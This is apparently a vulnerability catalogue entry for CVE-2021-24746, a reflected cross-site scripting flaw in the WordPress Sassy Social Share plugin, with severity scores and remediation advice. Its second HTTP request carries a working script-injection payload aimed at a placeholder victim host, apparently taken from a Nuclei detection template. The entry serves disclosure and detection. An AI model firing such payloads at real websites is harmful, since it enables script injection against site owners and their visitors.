| Title | WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting |
|---|---|
| Author | Supras |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update the WordPress Sassy Social Share Plugin to version 3.3.40 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02255 |
| CVE ID | CVE-2021-24746 |
| CWE ID | CWE-79 |
| Tags | cve cve2021 wordpress wp-plugin xss wp wpscan heateor vuln |
WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability.
GET /wp-json/wp/v2/posts HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ConnectPC Safari/537.36 Browser
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /CPCos5/?a">><script>alert(document.domain)</script HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:128.12) Gecko/20100101 Firefox/128.12
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24746.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24746.pcap
N/AN/A